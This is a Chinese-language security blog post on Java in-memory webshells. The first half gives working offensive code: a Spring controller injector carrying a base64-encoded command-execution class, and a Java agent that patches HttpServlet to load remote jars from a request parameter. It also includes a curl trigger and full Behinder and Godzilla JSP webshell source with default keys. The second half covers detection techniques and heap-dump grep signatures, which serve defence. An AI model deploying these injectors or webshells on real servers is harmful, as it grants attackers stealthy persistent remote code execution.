一、前言
最近遇到一次真实的内存马排查case,之前自己也是有专门做过内存马查杀工具,于是重新回顾梳理,并把自己的一些方法分享出来。
二、内存马介绍
首先我们了解一下内存马注入的方法,有两种注入内存马的方式:
1、动态注入组件
2、通过Instrument修改内存class
2.1、动态注入组件
通过创建如 Listener、Filter、Servlet、Valve 等 java web 组件,并通过如反射等形式进行注册、替换、增加 handler进行处理。
这里动态地对Spring注入Controller,由于之前在网上找到的代码不兼容新的Spring接口,这里对代码进行修正,成功注入。
目标环境:JDK11 + Spring 2.7.18
package com.example.testspring;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
@RestController
public classTestController{
@GetMapping("/add_controller")
public String hello(){
try{
String className ="com.example.spring.InjectControl";
//加载com.example.spring.InjectControl类的字节码
String b64 ="yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
byte[]bytes=Base64.getDecoder().decode(b64);
java.lang.ClassLoader classLoader =Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 =ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class,int.class,int.class);
m0.setAccessible(true);
try{
m0.invoke(classLoader, className,bytes,0,bytes.length);
}catch (Exception e){
}
WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping =(org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得自定义controller中唯一的Method对象
Method method =(classLoader.loadClass(className).getDeclaredMethods())[0];
//在内存中动态注册 controller
Class<?> class1 =Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> method1 = class1.getDeclaredConstructor(String.class,PathPatternsRequestCondition.class,PatternsRequestCondition.class,
RequestMethodsRequestCondition.class,ParamsRequestCondition.class,HeadersRequestCondition.class,ConsumesRequestCondition.class,
ProducesRequestCondition.class,RequestConditionHolder.class,RequestMappingInfo.BuilderConfiguration.class);
method1.setAccessible(true);
RequestMappingInfo info =(RequestMappingInfo) method1.newInstance(
"test",new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),null,new RequestMethodsRequestCondition(RequestMethod.GET),
new ParamsRequestCondition(),new HeadersRequestCondition(),new ConsumesRequestCondition(),
new ProducesRequestCondition(),new RequestConditionHolder(null),new RequestMappingInfo.BuilderConfiguration()
);
RequestMappingInfo抛弃了
定义访问controller的URL地址
//PatternsRequestCondition url = new PatternsRequestCondition("/cmd");
定义允许访问 controller 的 HTTP 方法(GET/POST)
//RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
//PathPatternsRequestCondition ppr = new PathPatternsRequestCondition(new PathPatternParser(),"/hahaha");
//RequestMappingInfo info = new RequestMappingInfo("test", url,ms, null, null, null, null,null);
r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);
} catch (Exception e){
e.printStackTrace();
}
return"test";
}
}
0
测试的时候需要注意:
1、jdk 21反射加载class会被禁止
2、JDK和Java版本的兼容,具体参考:https://endoflife.date/spring-boot
1
2.2、通过Instrument修改内存class
通过Java的Instrumentation或者系统的执行文件jvm.dll的方式调用redefineClasses、retransformClasses对内存的class进行修改。
比如这里我们通过java的Instrumentation修改jakarta.servlet.http.HttpServlet、javax.servlet.http.HttpServlet的逻辑,只要访问到Servlet就会触发我们的后门的逻辑。
具体代码如下:
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
publicclassAfterDemo{
publicstaticvoid agentmain(String agentArgs,Instrumentation inst){
System.out.println("hello I`m agentMain!!!");
Class<?>[] cLasses = inst.getAllLoadedClasses();
byte[] bArr =newbyte[0];
Map<String,Map<String,Object>> targetClasses =newHashMap<>();
Map<String,Object> targetClassJavaxMap =newHashMap<>();
targetClassJavaxMap.put("methodName","service");
List<String> paramJavaxClsStrList =newArrayList<>();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map<String,Object> targetClassJakartaMap =newHashMap<>();
targetClassJakartaMap.put("methodName","service");
List<String> paramJakartaClsStrList =newArrayList<>();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
ClassPool cPool =ClassPool.getDefault();
if(ServerDetector.isWebLogic()){
targetClasses.clear();
Map<String,Object> targetClassWeblogicMap =newHashMap<>();
targetClassWeblogicMap.put("methodName","execute");
List<String> paramWeblogicClsStrList =newArrayList<>();
paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n"+
"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n"+
"javax.servlet.http.HttpSession session = request.getSession();\n"+
"String pathPattern=\"/linject\";\n"+
"if (request.getRequestURI().matches(pathPattern))\n"+
"{\n"+
" java.util.Map obj=new java.util.HashMap();\n"+
" obj.put(\"request\",request);\n"+
" obj.put(\"response\",response);\n"+
" obj.put(\"session\",session);\n"+
" ClassLoader loader=this.getClass().getClassLoader();\n"+
" if (request.getMethod().equals(\"POST\"))\n"+
" {\n"+
" try{\n"+
" String lUrl = request.getParameter(\"lUrl\");\n"+
" String lName = request.getParameter(\"lName\");\n"+
" java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n"+
" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n"+
" Class clazz = urlClassLoader.loadClass(lName);\n"+
" java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n"+
" for (int i = 0; i < methods.length; i++) {\n"+
" System.out.println(\"method: \" +methods[i].getName());\n"+
" }\n"+
" java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n"+
" for (int i = 0; i < constructors.length; i++) {\n"+
" System.out.println(\"constructor: \" +constructors[i].getName());\n"+
" }\n"+
" Object obj = clazz.newInstance();\n"+
" return;\n"+
" }catch (Exception e){e.printStackTrace();}\n"+
" }\n"+
"}";
for(Class<?> cls : cLasses){
System.out.println(cls.getName());
if(targetClasses.keySet().contains(cls.getName())){
String targetClassName = cls.getName();
try{
System.out.println("found class:"+targetClassName);
if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){
shellCode = shellCode.replace("javax.servlet","jakarta.servlet");
}
ClassClassPath classPath =newClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List<CtClass> paramClsList =newArrayList<>();
for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){
paramClsList.add(cPool.get((String) clsName));
}
CtClass cClass = cPool.get(targetClassName);
String methodName = targetClasses.get(targetClassName).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));
cMethod.insertBefore(shellCode);
cClass.detach();
byte[] data = cClass.toBytecode();
inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});
}catch(Exception e){
e.printStackTrace();
}
break;
}
}
}
}
我们加载一个jar,然后对class进行实例化(里面包含我们的任意代码)。
curl -X POST 'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv
之前的文章是结合这两种方法实现:java内存马深度利用:窃取明文、钓鱼
2.3、冰蝎 & 哥斯拉 分析
2.3.1、冰蝎分析
冰蝎马的代码如下:
<% @page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classU extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
returnsuper.defineClass(b,0, b.length);
}
}%><%
if(request.getMethod().equals("POST")){
String k ="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c =Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);
} %>
对木马的功能行模块化,需要使用对应的功能时,然后把对应的功能的字节码注入进行,然后通过classloader加载使用。
功能代码逻辑都在这些class中:Behinder/net/rebeyond/behinder/payload/java/
3
额外说一下,冰蝎支持java agent注入修改class,具体逻辑可以看tools_0.jar:
Behinder/net/rebeyond/behinder/resource/tools/tools_0.jar
2.3.2、哥斯拉分析
跟冰蝎是一样的,不过不同的是哥斯拉会把所有的功能集中到一个class而非模块化,当然一些插件除外。
<% !Stringxc="3c6e0b8a9c15224a";
Stringpass="pass";
Stringmd5= md5(pass + xc);
classXextendsClassLoader{
publicX(ClassLoader z){
super(z);
}
publicClassQ(byte[] cb){
returnsuper.defineClass(cb,0, cb.length);
}
}
publicbyte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipherc= javax.crypto.Cipher.getInstance("AES");
c.init(m ?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch(Exception e){
returnnull;
}
}
publicstaticStringmd5(String s){
Stringret=null;
try{
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0, s.length());
ret =newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}catch(Exception e){}
return ret;
}
publicstaticStringbase64Encode(byte[] bs)throwsException{
Class base64;
Stringvalue=null;
try{
base64 =Class.forName("java.util.Base64");
ObjectEncoder= base64.getMethod("getEncoder",null).invoke(base64,null);
value =(String)Encoder.getClass().getMethod("encodeToString",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
bs
});
}catch(Exception e){
try{
base64 =Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder= base64.newInstance();
value =(String)Encoder.getClass().getMethod("encode",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
bs
});
}catch(Exception e2){}
}
return value;
}
publicstaticbyte[] base64Decode(String bs)throwsException{
Class base64;
byte[] value =null;
try{
base64 =Class.forName("java.util.Base64");
Objectdecoder= base64.getMethod("getDecoder",null).invoke(base64,null);
value =(byte[]) decoder.getClass().getMethod("decode",newClass[]{
String.class
}).invoke(decoder,newObject[]{
bs
});
}catch(Exception e){
try{
base64 =Class.forName("sun.misc.BASE64Decoder");
Objectdecoder= base64.newInstance();
value =(byte[]) decoder.getClass().getMethod("decodeBuffer",newClass[]{
String.class
}).invoke(decoder,newObject[]{
bs
});
}catch(Exception e2){}
}
return value;
}%><%
try{
byte[] data = base64Decode(request.getParameter(pass));
data = x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStreamarrOut=newjava.io.ByteArrayOutputStream();
Objectf=((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(md5.substring(16));
}
}catch(Exception e){}%>
4
哥斯拉的功能class逻辑已反编译成java:https://pastebin.com/raw/mMv8pZZP
三、如何查杀
这里的查杀方案有很多,这里我之前也是写了一款查杀工具给内部使用,但都是大同小异,效果都比较一般(因为都能在jvm执行任意代码了,bypass手法比较多)。
3.1、直接dump敏感的class
我们直接dump一些比较敏感的类(在web请求流程中并且能拿到request和response的类),因为攻击者可以使用java agent对class进行修改,让自己的请求进行后门逻辑。
之前笔者收集了一些class(也不全),供大家参考:
javax.servlet.http.HttpServlet // tomcat 修改service方法
javax.servlet.http.HttpServletRequest // tomcat 修改 getQueryString
org.apache.catalina.core.ApplicationFilterChain // tomcat filter
org.apache.tomcat.websocket.server.WsFilter // tomcat websocket
org.springframework.web.servlet.DispatcherServlet // spring
weblogic.servlet.internal.ServletStubImpl // weblogic
然后我们检查这里的逻辑是否被修改。
2.2、查看注册的组件
我们直接获取对应的Context,然后获取对应的Listener、Filter、Servlet的列表
比如优秀的开源工具:https://github.com/c0ny1/java-memshell-scanner,不过这里需要通过jsp,我们可以通过arthas进行快速查杀。
5
3.3、根据类的属性dump
根据危险注解、类名、继承的类、classloader、getResource为空等信息 dump 可疑的组件,结合人工反编译后进行分析。
当初自己开发的工具也是按照这个方法开发的,但是这种方法是有缺陷的。
1、dump class速度太慢了
2、会有漏水情况
6
也有开源工具:https://github.com/LandGrey/copagent。
3.3.1、classloader属性
我们以及classloader角度为例子,首先我们遍历classloader,然后寻找敏感的classloader(内存马也会自定义claassloader)
成功找到哥斯拉内存马
7
8
3.4、jmx - Mbean
在注册组件的时候会注册mbean,这样会留下痕迹,我们可以查看所有的mbean,查看注册的路由或者class是否正常,比较快捷简单,也是一个不错的方法。
9
3.5、三条命令查杀冰蝎、哥斯拉 - 内存检测
根据我们之前分析,无论冰蝎和哥斯拉都会把的后门代码(执行命令、文件管理)类注入内存中,所以我们只要分析这些后门类的即可(因为类加载器的特征比较少),这里我以进入内存马页面会自动触发的功能(内存马展示基础信息类)的一些特征分析,发现一些字符串特征,为了减少误报,需要满足三个特征即告警。
下图是我注入冰蝎、哥斯拉两个内存马
10
11
# dump内存
jmap -dump:live,format=b,file=heapdump.hprof pid
# 检测Godzilla
if grep -q 'getBasicsInfo' heapdump.hprof && grep -q 'srcFileName' heapdump.hprof && grep -q 'destFileName' heapdump.hprof;then echo 'exist Godzilla';else echo '';fi;
# 检测冰蝎
if grep -q 'basicInfo' heapdump.hprof && grep -q 'currentPath' heapdump.hprof && grep -q 'driveList' heapdump.hprof;then echo 'exist behinder';else echo '';fi;
12
四、总结
内存马姿势多种多样,内存马的检测方法同样百花齐放。从上面的分析来说可以总结为“80万对60万,优势在我”是攻方,比如通过三条命令发现内存马,发现的只是已有的特征,攻方也可以修改这些特征,所以还需要另辟蹊径。笔者找到一个在实验环境表现不错的第二个新方法,等实践不错后再分享出来。
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
扫码领取
